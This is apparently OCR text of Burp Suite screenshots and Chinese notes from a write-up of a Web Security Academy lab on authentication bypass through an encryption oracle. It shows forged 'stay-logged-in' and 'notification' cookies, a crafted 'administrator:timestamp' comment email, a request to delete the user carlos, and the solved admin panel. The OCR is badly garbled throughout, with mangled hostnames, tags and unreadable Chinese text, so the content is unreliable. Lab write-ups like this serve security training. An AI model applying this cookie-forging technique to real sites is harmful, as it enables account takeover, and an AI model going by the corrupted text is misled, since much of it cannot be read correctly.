sc-Fetch-Site: same-origin <section class="top-links">
ec-Fetch-Mode: navigate <a href=/>Home</a><p>|</p>
ec-Fetch-User: 71 <a href="/my-account?id=wiener">My account</a=<p>=|</p>
ec-Fetch-Dest: document <a href="/logout">Log out<fa=<p=|</p> |7
eferer: https:facfh1f81ee53d63805fbddal0910057 wel-security-academy. net/post?postld=3 </section>
ccept-Encoding: gzip, deflate </header>
.ccept-Language: zh-CN zh;q=0.9 en;q=0.8 en-GB;¢=0.7 en-US;q=0.6 //\4 <header class="notification-headear">
ookie: stay-logged-in=g3Y pkywmHBeM%2fn0pH44k0TE3uddGoB ClimMkzhB%2fE0s %3d; Invalid email address: 1 </header>
ession=0EE4U390a4U Y uF Y gQsOpTY SyhDSHisAT: <img sre="fimage/cantent/blog/posts/a8 jpg">
atification=CfiuuZePBBcmjHeLXwRS %2z QuEU0T xZGT Ekm %2 bfmIX Y0 %3d <h1=Awkward Breakups</h1>
<pz<span id=hlog-author>Greg Fomercy</span> | 24 October 2020</p>
<hr=
<p>Tis better to have loved and lost than to never to have loved at all? A beautiful thought, but
maybe Tennyson never had to go around his exe&apos;s house to collect his parchment and quills after an
break up. | there are i breakups where both parties mutually agree that
they&apos;re better off apart. But the real headline makers are the ones that are like pulling teeth. Returning
P i angry ges and probably worst of all - fi L</p>
<p>When it comes to money, settling mortgages and other similar affairs can get very tense. But,
after a break up, the real vindictiveness in people can come out. It isn&apos;t always the huge financial ties
9 that become a messy husiness, itdapos;s the petty ones. Perhaps you&apos;re after some debt that&apos;s -
I L1 owed, vou send a polite messaqe requesting that said ex returns the funds at their earliest convenience, but 3
DRSS ‘CﬁuuZePBBcijeLXwRS%ZszvEuUTxZGWEkm%ZbﬁnIXYO%Bd tmaich (@ | < || || = || invalid email addre 1 match
Jone 8.922 bytes | 504 millis
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Go Cancel < v >|r

Target: hitps:/factb1i81ee53d63805Mdda00910057.web-security-academy.net 27 (7)

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
GET /post?postld=3 HTTP/1.1 : <fsug> :
Host: acfb1ffB1ee53d63805fhddal0310057 web-security-academy. net <fa>
Connection: close <fdiv>
Cache-Contral: max-age=0 <div class="widgetcontainer-lab-status is-notsolved">
Upgrade-Insecure-Requests: 1 <span>LAB</span>
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinGd; x64) AppleWeblKit/537 36 (KHTML, like Geeko) <p>Not solved</p>
Chrome/86.0.4240.198 Safari/537.36 Edg/86.0.622.69 <span class="lab-status-icon"></span>
Accept: <fdiv>
text/html, application/xhtml+xml application/xml,g=0.9 image/webp,image/apng, " 0=0.8,application/signed-exchange; = <fdiv>
3;0=0.9 </section>
Sec-Fetch-Site: same-origin </div=
Sec-Fetch-Mode: navigate
Sec-Fetch-User: 71 <div theme="">
Sec-Fetch-Dest: document <section class="maincontainer”>
Referer: https:/facfb1ff31ee53d636805fhdda00910057 web-security-academy. net/post?postid=3 <div class="container is-page">
Accept-Encading: gzip, deflate <header class="navigation-header">
Accept-Language: zh-CM zh;q=0.9 en;q=0.8 &n-GB;q=0.7 en-US;q=06 <section class="top-links"> ™
Cookie: stay-logged-in=g3Y pKywmHBeM%2fn0pH44k0TE3ud dGoBClimNkzbB%2E0s%3d; <a href=/>Home</a><p>|</p>
session=0EE4U990a4UYuF Y gQsOpTY SyhDSHisAT; <fsection>
notification=+KB54BEF yaMd4tfBFL%2fMeh1ybvIGILTY kMSRJIOT hM%2f2hdwd BT VacHTwgGKsg%3d%3d <fheader>
<p class=is-waming=Internal Server Error</p>
<p class=is-waming>javax.crypto.lllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher</p>
</div>
<Isection>
<fdiv>
<fbody>
</html>
: i
¥ L]
Type a search term 0 matches ~ (2) CJ w tj Type a search term 0 matches

2,627 bytes | 270 millis
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Dashboard | Target | Proxy | Intruder TRepmxer T Sequencer I Decoder T Comparer IEmender T Project options T User options
12 3« [tz o [ wmE <]
l Go J Cancel { < |v J > l Follow redirection J Target: https://acfb1ff81ee53d63805fbdda00910057.web-security-academy.net / ®
Request Response
Raw | Params | Headers | Hex Headers | Hex
POST /post/comment HTTP/1.1 A HTTPA.1 302 Found A
Host: acfb1ffB1ee53d63805fhddal0310057 web-security-academy. net r Location: /post?postld=3 r
Connection: close Set-Cookie
Content-Length: 117 natification=CfiuuZePBBcmjHeLXWR S %2BM59VadrTSCy %2hcy %2brl yhLUvajNurD7 BSyEHche UUAGH b %2f2bdwd BTV
Cache-Contral: max-age=0 acHTwgGKsg%3d%3d; Path=/; HitpOnly
Upgrade-Insecure-Requests: 1 Connection: close
Crigin: https:/acth1fB1ee53d63805Mhdda00310057 web-security-academy. nst Content-Length: 0
Content-Type: application/x-www-form-urlencodsd
User-Agent: Mozilla/s.0 (Windows NT 10.0; WinG4; x64) AppleWebKit/537.36 (KHTML, like Gecka)
Chrome/36.0.4240.198 Safari/537 36 Edg/86.0.622 69
Accept:
text/html application/xhtml+xml application/xml,q=0.9 image/webp image/apng */*;q=0.8 application/signed-exchange;v=h
3,4=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User. 71
Sec-Fetch-Dest: document
Referer: https: fach1f81ee53d63805hddal0910057 web-security-academy. net/post?postld=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CM,zh;g=0.9 &n;g=0.8,en-GB; g=0.7 en-US;q=0.6
Cookie: stay-logged-in=g3Y pKywmH3eM%2faw0pHA4k0TE3u4dGoB ClimMkzhB%2fEns %3d;
session=0EE4U390a4UYuF Y gQsOpTY SyhDSHisAT
csrf=BsEvdkNMgTNQpkRaRmiol QEXkquwCOtF H&postld=38&comment=111&name=1&email=x0cocoocaadministrator 16058
58860017 &website=
3 =
L L
@ |=<|l+]|]= | Omatches (@ | <|[+ || > 0 matches
Done 231 ytes | 248 miilis
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Burp Project Intruder Repeater Window Help
[Dashboard Target | Proxy | Intruder IRepeate( T Sequencer I Decoder T Comparer IExlender T Project options T User options

125 [ wmw o [wEs o |

Go Cancel < v >\ Target: https://acfb1ff81ee53d63805fbdda00910057.web-security-academy.net / ®

Request Response

Raw | Params | Headers | Hex Headers | Hex | HTML | Render

GET Jpost?postld=3 HTTP/1 1 £ <span class="lab-status-icon"></span> 0
Host: acfli1ffd1 ee53d63805fkdda00910057 web-security-academy. net r <fdiv>
Connection: close </div>
Cache-Contral: max-age=0 </section=
Upgrade-Insecure-Requests: 1 </div>
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/86.0.4240 198 Safari/537 36 Edg/86.0 622.69 <div theme="hlog">
Accept: <section class="maincontainer”>
text/html, application/xhtml+xml application/xml,g=0.9 image/webp image/apng,*f*; 0=0.8,application/signed-exchange; = <div class="container is-page">
3.=0.9 <header class="navigation-header">
Sec-Fetch-Site: same-origin <section class="top-links">
Sec-Fetch-Made: navigate <a hrefE/>Home</a><p>|</p>
Sec-Fetch-User: 71 <a href="Imy-account?id=wienzr'>My account</az<p>|</p>
Sec-Fetch-Dest: document <a hreFE="Mlogout">Log out</az<p=|</p> /
Referer: https: fach1f81ee53d63805hddal0310057 web-security-academy. net/post?postld=3 </section>
Accept-Encoding: gzip, deflate </header>
Accept-Language: zh-CM,zh;q=09 en;q=0.8 en-GB;q=0.7 en-US;q=0.6 <header class="notification-header">
Cookie: stay-logged-in=g3Y pKywmH3eM%2faw0pHA4k0TE3u4dGoB ClimMkzhB%2fEns %3d; Invalid email add 3 ini 1605858860017 <fheader>
session=0EE4U990a4UYuF Y gQsOpTY SyhDSHisAT; <img sre="fimage/content/blog/posts/A8.jpg">
netification=CfiuuZePBBemjHeLXWR S %2fBME3VadiTSCy %2hey %2br yhLUvgjNurD7 BSyEHehe UUAGHT hM %2 2b4wd BTV <h1=Awkward Breakups</h1>
acHTwqGKsg%3d%3d <p><span id=blog-author>Greg Fomercy</span> | 24 October 2020</p>
<hr>
<p>Tis better to have loved and lost than to never to have loved at all? A beautiful thought, but
mayhe Tennyson never had to go around his exe&apos;s house to collect his parchment and quills after an
k | break up. | le there are hle breakups where hoth parties mutually agree that
they&apos;re better off apart. But the real headline makers are the ones that are like pulling teeth. Returning
F i angry ges and probably worst of all - fi </p>
<p=When it comes to money, settling mortgages and other similar affairs can get very tense. But,
after a break up, the real vindictiveness in people can come out. It isn&apos;t always the huge financial ties
- that become a messy business, itdapos;s the petty ones. Perhaps youdapos;re after some debt thatdapos;s -
S L] owed, vou send a polite ing that said ex returns the funds at their earliest i but L4
® bJ u u “ 0 matches ® bj u m Type a search term 0 matches
Done 8.957 bytes | 330 millis
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@® Text (O Hex ®
Smart decode J

@ Text (O Hex

Smart decode J

0 09 8 ae b3 97 ef 04 7 26 8c v
1 c3 39 fa 5a 38 ad 34 82 cb el 32
2 2f aa 33 e ac 3e cl 4b 21 o7 I
3 ed b3 3 d3 be 30 74 1e d5 69 cl

ba
ad

2®'0000&0wD_ORy
A96Z8-40Ec2u%rDy
F3n->AKIDg-OPD-
U0t IAGAD?

(O Text @ Hex
Smart decode J

=R, MEEEITaR AL BR324~ 715 .

4 Burp Suite Profe:

nal v2.0beta - Temporary Prc

Burp Project Intruder Repeater Window Help

[ Dashboard | Target | Proxy | Intruder I Repeater T Sequencer LWJ Comparer I Extender T Project options T User options l

ChuuzePBBemjHeLXwRSElEM59VodrTSCyfllllc Hlll 1yhL UvgiNurD7BSyEHebeUUAGHT MBI b wdB TV acHTwqGK s o NI

@ Text () Hex ®
Smart decode J

@® Text (O Hex
Smart decode J

P3n->AKIDg-OPD-
200t 00IA0A;D?

(O Text (@ Hex
Smart decode J

LGozbqw+wUshB3IG3IFABre2zPIm+MHQe1WnE08Khir=

@® Text (O Hex
Smart decode J

EHT RS BOR R FOR R BB SR P B S HOR . A N IS A TR IIEE, TEREENE, BN TR T

frihk: "ETR. URBLiZ R B BRARH RI#.
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Dashboard | Target | Proxy | Intruder TRep&:er T Sequencer I Decoder T Comparer IEmender T Project options T User options
123 [ nmg - [wmE ]
Go Cancel < |v > Target: https://acfb1ff81ee53d63805fbdda00910057.web-security-academy.net / ®
Request Response
Raw | Params | Headers | Hex Headers | Hex | HTML | Render
GET /post?postld=3 HTTP/1.1 A </section= A
Host: acfhffB1ee53d63805fhddal0310057 web-security-academy. net r </div>
Connection: close
Cache-Contral: max-age=0 <div theme="hblag"
Upgrade-Insecure-Requests: 1 <section cla maincontainer”>
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; xG4) AppleWebKit/537.36 (KHTML, like Gecka) <div class="container is-page">
Chrome/86.0.4240.138 Safari/537 36 Edg/86.0.622 69 <header class="navigation-hsader">
Accept <section class="top-links">
text/html, application/xhtml+xml application/xml,q=0.9 image/webp image/apng,** q=0.8 application/signed-exchange;=b <a hrefE/>Home</a»<p>|</p>
3;0=0.9 <a href="Imy-account?id=wienzr'>My account</az<p>|</p>
Sec-Fetch-Site: same-origin <a hrefF="Mlogout">Log out</az<p=|</p>
Sec-Fetch-Mode: navigate <fsection>
Sec-Fetch-User: 71 </header>
Sec-Fetch-Dest: document | <header class="notification-header">
Referer: https:/facfb1ff31ee53d636805fhdda00910057 web-security-academy. net/post?postid=3 </header> 4
Accept-Encoding: gzip, deflate <img sre="fimage/content/blog/posts/A8.jpg">
Accept-Language: zh-CM,zh;q=0.9 en;g=0.8,en-GB;q=0.7 en-US;q=0.6 <h1=Awkward Breakups</h1>
Cookie: stay-logged-in=g3Y pKywmHBeM%2fwlpH44k0TE3ud dGoB ClimMkzbB%2E 0s%3d; <p><span id=blog-author>Greg Fomercy</span> | 24 October 2020</p>
session=0EE4U390a4UYuF YgQsOpTY SyhDSHisAT, <hr>
notification=LGozhgw%2bwlshB3G3IFABre2zPIm%2bMHRe1 WnBOBKhir %3d <p>Tis better to have loved and lost than to never to have loved at all? A beautiful thought, but
mayhe Tennyson never had to go around his exe&apos;s house to collect his parchment and quills after an
k | break up. | le there are hle breakups where hoth parties mutually agree that
they&apos;re better off apart. But the real headline makers are the ones that are like pulling teeth. Returning
i i angry ges and p ly worst of all - </p>
<p=When it comes to money, settling mortgages and other similar affairs can get very tense. But,
after a break up, the real vindictiveness in people can come out. It isn&apos;t always the huge financial ties
that become a messy business, it&apos;s the petty ones. Perhaps you&apos;re after some debt that&apos;s
owed, you send a polite message requesting that said ex returns the funds at their earliest convenience, but
you get a itemised bill in response. &apos;Well, don&apos;t forget | drove you about or that sandwich | bought
- you last year.&apos; Suddenly every tiny transaction can come back to haunt you. Pettiness can rear its ugly -
S ¥ head.<p> L
@ (=]=)=]] omaches (@ <[+ [> 0 matches
Done 8,925 bytes | 572 millis

MAREL G S2i 3k, B GET/iE R kKi%E|Burp Repeater. 584k & ificookie, 3 H fil cookie i) % 3C & # - kF & F icookie. KikiFENK.
HER, EOEUERERSMHEFR, AR LA A EEER.
f# FiBurp Repeater, % 2/adminFfik = MERH & %5, %% 2/admin/delete? username=carlosRf# RS2 56 = il & .



ftisession MR SR 5T stay-logged-in FH#HMIBATE SAERRKIE, V5 W /admin BIW]

Indexof /dc X | 4 Examplesol x | 4 labAuthen x [RSENUSIUNEN [ tuEbF - x | iF EE@E2 x | [] abc x | [ BRi0anc x | B ®am401 x | & gmwmen x |+

< X & https://actb1f81ee53d63805fbdda00910057.web-security-academy.net/admin 2 3 ] = & © W B = & =

Web Security Authentication bypass via encryption oracle
Academy g Back to lab description »>

Congratulations, you solved the lab! ¥ Share your skills! |SContinue learning »

Home | Admin panel | My account | Log out

Users

administrator - Delete
carlos - Delete
wiener - Delete

I ﬂ TE BHE BB NE e RE EER 22 Lighthouse  HackBar -3 §J e X
- 2= =aEE R -~ -

= IndexedDB C e O X [ RETEEE Cookie

£ web sQL iR & ) AR E/RE.. | Fh Htponly | &2 samesite | 455
~ & Cookie session BCOAMWGBL2Z5ii0lKgIQ6/Z93va175n acfbiff3lee... |/ =iE 39 v v None Medium

———

@ hitps//acib1if81ees3a Islayrlogged—m Leozbgw%2bwUshB3G3IFABre2zPIm %20 MH Qe 1WnBO8BKhirl%3d I acfbifflee... |/ 3000-01-01.. 64 Medium
2

S E5EE

S8 UAEsET
FEES -
4 »

ERZ REIRBT, 32,64,4 2,8...3kK
RIERBER YL BATH LA F4F FE 0 1 R B 3N L2340 F4F, A 1KIpayload —#2# 4 732 + 32, #R /5wt wJ LA 2 7324

T TRB MR 32 TR
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